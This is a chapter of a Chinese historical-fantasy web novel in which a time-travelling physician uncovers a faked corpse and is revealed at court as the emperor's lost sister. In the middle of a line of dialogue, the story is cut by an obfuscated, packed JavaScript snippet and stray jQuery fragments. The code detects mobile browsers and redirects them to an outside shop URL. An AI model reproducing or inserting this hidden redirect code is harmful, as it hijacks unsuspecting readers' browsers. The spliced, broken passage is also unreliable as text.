冯麓说完就要抱起尸体离开,却被楚廷着急拦下了。“冯大人,按理说涉及朝廷重案的尸体须得大理寺过手处理,您是不能带走的。”
“我是她家人亦是她师傅,她意外去世,我必须把她带回老家下葬。”冯麓沉声说道。
“冯大人,您如今还是朝廷案犯,离开天牢已是违律,更别说离开长安。”
冯麓冷着眉眼,盯着楚廷的双眼说:“行,那我就在大理寺火葬她。既不能带她回老家,就让她一辈子跟着我。”
“火葬?大唐没有这个先例,也不合规矩啊。凌大人这……”楚廷转头看向一直站在冯麓身后沉默不语的凌之韫求助,可后者居然默认了冯麓的想法,没有一句反对。
冯麓不耐烦地抱着尸体绕开楚廷,说:“没有先例那我就来做这个先例,反正我开的先河也不缺这一次了。”
冯麓把尸体抱进空无一人的柴房,用水打湿了自己的手帕,把尸体全身上下都擦拭干净。她把尸体放在大理寺后院空地的一个案台上,把柴房里的柴火抱出来丢在案台下,眼看着就要点火燃烧。
楚廷远远就高喊试图阻止:“冯大人,火烧尸体是对死者大不敬也,恐怕生魂会盘旋在大理寺无法转世超生啊!”
但后者依旧没有丝毫犹豫,把点着的干草丢进柴火堆里,面无表情地说:“盘旋在大理寺上空没走的冤魂多着呢,不差她这一个。更何况,朝廷也马上就要定我的罪了,我会陪她的。”
案台下的火焰渐渐从火苗变成了熊熊燃烧的烈焰,吞噬了毫无生气的尸体和一旁绝望至极的冯麓。
人体组织被灼烧后的气味很是难闻,大理寺不少离后院很远的官员都不免捂嘴作呕,可冯麓不仅毫无反应,甚至连厌恶的表情都没有。
冯麓紧紧盯着那具尸体,眼睛被太过明亮的焰光照得生疼,可她最疼的地方根本就不是眼睛。
她把自己想得太无所不能,其实她什么事情都做不到。没办法完成解药研究,没办法守护想守护的人,没办法帮助大唐千千万万的子民逃出家族病的折磨。
她从一开始就错了,一味地反抗命运是没有意义的。
孙药王没有女弟子,唐乾宗英年早逝,大唐覆灭,她一介穿越者又怎么凭一己之力改变这些已经被命运书写好的历史?
或许,当初在那个山村自戕死掉是最好的选择,这样死的人也没有那么多了。冯麓想着。
尸体的衣服已经被燃烧殆尽,她手臂内侧也因为高温被烧得焦黄。可,有个奇怪的地方。
冯麓又走近了一步,揉了揉眼睛确信自己没看错。“血纹为什么变黑了?”她怔愣地自言自语。
血纹应该是由于血管壁以及血小板异常而导致的皮下出血,那应该会跟随着皮肤一起变色才对,可现在手臂只是被烧得焦黄而已,血纹竟然单独变成了黑色。
冯麓把自己的手伸进火焰里,眼看着就要让火把自己也给一起烧了。
“冯麓!你要做什么?”凌之韫着急地快步走过去,一把抓住了正拉着尸体手臂的冯麓的手。
冯麓没有理会凌之韫,也没有挣脱开,只是就着这个被牵制的动作将那只左臂凑到自己鼻子下闻了闻。
她双眼圆睁,大惊失色地放下了那只手臂。
“你发现了什么?”
冯麓无法相信凌之韫,当然没有和盘托出。但她现在可以暗自确信,这具尸体即使拥有芮雪所有的衣服、工具和血纹特征,但她也不是芮雪。
因为——那道血纹是假的。
有人用朱砂给这具尸体画上了与芮雪一模一样的血纹,而朱砂遇热会变黑以及若隐若现的桃胶气味也印证了这一点。
此人想到了她可能会帮芮雪擦身子,所以混合了桃胶以至于达到防水的效果,但她料想不到冯麓会一把火烧了尸体,毕竟在一千多前的唐朝,土葬依旧是主流。
太好了,芮雪没有死。冯麓闭上眼睛长舒一口气,悄悄低头露出了轻松的神情。
不过,她还是按照最开始的计划火化了这具无名女尸,将她的人体组织碾碎成粉末装进陶罐里带走了。
“抱歉。”冯麓盖上陶罐后低声说。
“你在对谁道歉?”凌之韫看出了冯麓的异样,可他向来看不清此女心里究竟在想什么。
“这事儿没有那么简单,凌大人还是不要过问的好。”
“好。”凌之韫嘴角轻轻上扬。
他不懂冯麓在计划些什么,但他知道冯麓既然能用自己对她说过的话反驳,想必她已经看穿这具尸体不是芮雪。
“相信她。”凌之韫看着冯麓沉着冷静的背影,不知怎的突然想到了李麒对他说过的这句话。他叹息着摇摇头,无奈地跟在冯麓身后。
芮雪既死,冯麓的验方一案也要迎来判决时刻。五品以上的官员全都被聚到了紫宸殿,等待着李麒的宣判。
李麒走入帘幕后的路上,他轻飘飘地瞥了一眼跪在地上的冯麓,本就瘦弱的她又瘦了很多。
他入座后,开口第一句就是问被临时召来的大理寺司直张镡:“张卿,此次前往岐州和同州可查出什么?”
张镡先开口:“陛下,臣与验方使门徒一同前往验方地点仔细探查了一番,尸体没有其余异常,的确是解药导致的死亡,微臣的手札可以证实。”
大理寺卿谈啸此时站出来补充:“陛下,既然此事已经调查完毕,还请尽早处死验方……罪女冯麓,给天下人一个交代。”
跪在地上的冯麓用无比坚定响亮的声音高声说:“我无罪!”
“铁证如山,你还能抵赖不成?难道你不承认那些病患喝了你的药,不认可京兆府的仵作的验尸结果,不接受大理寺的调查吗?”
谈啸冷笑一声,继续说道:“冯麓,你口口声声说自己无辜,那不是毒药的证据又在哪里?”
“陛下,民女给每位病患都多留了一罐同等编号的药,写上了姓名锁在匣子中。民女可以把那些药按照疗程一一喝下,以此证明此药无毒。”
此言一出,方才还窃窃私语的大臣们全都死一般地寂静。
“我要是死了,那大可以此结案。但我要是没死呢?大理寺错判是否有罪?”冯麓犀利的目光往身后一扫,几乎就要刺穿谈啸的头颅。
“冯小医师,你很有把握吗?”李麒淡淡地问。
“医师要是对自己的药没有把握,那就不配为人医治。”
“但是朕没有把握,不能冒险。”李麒说。
难道李麒被他们说服了,真要宁可错杀一千,不肯放过一个?
冯麓急忙伏在地上,重重地磕了个头,说:“此药是为陛下所调制,所以验方的所有病患都是基于与陛下脉象症状的相似程度的高低来甄选的,以确保陛下服用此药后有效。
此药经过多人多次验方,效果显著,但是他们终究与陛下的血脉不完全相同。所以在呈给陛下之前,必须寻找与陛下血脉完全一致之人进行最后的尝验。”
冯麓咬了咬牙,决定把自己的身世说出来:“民女恐怕已经是世间唯一一位与陛下血脉一致之人,所以只要民女尝验后有效,陛下可立即解咒,无需再等待。”
李麒轻轻叹息了一声,无奈地说:“所以,朕不是说过不能冒险吗?”
冯麓突然明白了什么,突然抬起头,望向帘幕后那个始终疏离冷漠的皇帝。而李麒也正在透过薄如蝉翼的帘幕,微笑着看着他护了许久的最后一个亲人。
紫宸殿上所有人都被冯麓和李麒这两句信息量巨大的话语惊呆在原地,面面相觑。
谈啸的大脑已经乱成一团,眼神在地上的冯麓和高高在上的李麒之间来回转换。
“安昀公主?”已经反应过来的苏炀最先开口。
他没想到,去世已久的安昀公主其实根本没死。而他更想不到的是,面前这个看似淡然无争、心无城府的年轻小皇帝会把这么大的事情隐瞒至今,而他作为人脉遍布长安的四朝老臣却丝毫不知。
李麒,你到底还藏了什么?
“安昀公主不是很早就去世了吗?”“验方使就是安昀公主?真的假的?”“陛下都承认了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757286|186174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,看来是真的。”
“即使是安昀公主也不能排除她的嫌疑。”苏炀转了转眼珠,“陛下,既然公主提议主动尝验以证清白,臣无异议。”
“可是……”
“请陛下恩准!”
李麒的犹豫与冯麓的决绝在大殿上方相撞,还夹杂着一些看热闹的交谈声,以及心怀鬼胎的眼神交错。
李麒心事重重地垂眸注视着瘦弱却不肯退让的冯麓,突然想起了十一年前的一些往事。
他的皇长兄李晗从小文武双全,可是即位后才三年就被小人害死了。为了稳定朝廷,母亲没有公布李晗真正的死因,还把最后一个孩子送出宫避难。
毕竟,比诅咒的稳定死期更恐怖的是盘桓在周围的未知威胁。诅咒只是想要你的命,但敌人想要的就多了。
李麒一直都知道李晗死于奸臣之手,可他不能说;李麒一直都知道李萦没死,可他也不能说。
十三岁即位的年轻皇帝没有父母,没有心腹,只能任由苏炀这个资历最深的老臣控制。皇帝?可能称他为傀儡更合适。
这几年,他一直在默默派人监视着钟南山南麓那户夫妻,但凡他们没有银钱了就会用一些小伎俩给他们。可五年前,那对夫妻却突然带着妹妹消失了,怎么找都找不到。
一年前,蓝田县有对夫妻得知养女杀了想强娶自己的老头子后跑去府衙告状,正好被凌之韫领队巡逻时撞见,发现这是安昀公主的养父母后顺手就让他们蹲了几个月大牢。
李麒从凌之韫那听到了妹妹逃脱家庭拜入孙道士门下的消息,嘴上感慨着说她不愧是李氏子孙,心里却在暗暗痛恨自己一时疏忽没能保护好她。
再下一次,就是那一日的朱雀大街,没想到妹妹去孙道士那里还真学到了真本事,居然可以让人起死回生,救人用的还是母后亲自绣了送她的那条手帕。想必,母后在天之灵知道妹妹如今可以独当一面,也会倍感欣慰吧。
李麒立即让凌之韫把妹妹宣进宫里,但她不仅没有与自己相认,好像还很害怕自己。
她在生我的气吗?气我没有第一时间把她接回宫?还是她已经离家太久,已经完全不记得自己是李萦了?
不管是因为什么,他都不希望冯麓再脱离他的视线,那是他仅剩的亲人,不能再出现任何闪失。
可是,要是把冯麓的身份宣告天下势必会引起奸臣的注意,他不愿意再看到十年前那个惨案再次发生,但他又不可能把亲妹妹当成才人招进宫。
于是,他想到了一个奇招——让冯麓为自己解咒。
给她最崇高的制使身份,给她自由进出皇宫的鱼符,给她无处不在的护卫,和一个任谁也无法轻易伤害她的理由。
毕竟,一个有可能改写大唐命运的人,一个承载了无数求生希望的人,有多少人盼着她死,就有更多的人护着她活下去。
“那您到了二十五岁怎么办?”凌之韫问。
李麒扶着栏杆,眺望着远处白茫茫一片的长安城,浅笑着说:“凌兄,我起初想让安昀有个被保护的理由,至少可以让她平平稳稳地度过最后的几年,但现在看来,或许她真有让大唐转危为安的能力。”
脑海中的画面一转,让李麒的思绪重新回到这座重臣云集的紫宸殿上,帘幕外,冯麓仍然一动不动地伏在地上,用一腔孤勇等待着他的旨意。
他去年冬天对凌之韫说的那句话再次回荡在他的双耳之间。
“相信她,是朕唯一能为她做到的事情。”
虽然李麒仍然对那个药方将信将疑,毕竟死了那么多人,药方不可能一点问题都没有,万一出了事儿,他最后一个亲人就没了,但是……
他紧咬着牙,不由自主地闭上眼睛,殿外的日光透过窗户照在那张遍布血纹的脸庞上,闪烁着从未有过的踌躇之色。
“请陛下恩准!”冯麓再次磕了一个响亮的头,又狠又重地砸在李麒的心上。
“唉。”李麒长长地吐了一口气。
还是相信她吧。
相信,这个王朝唯一的救世主。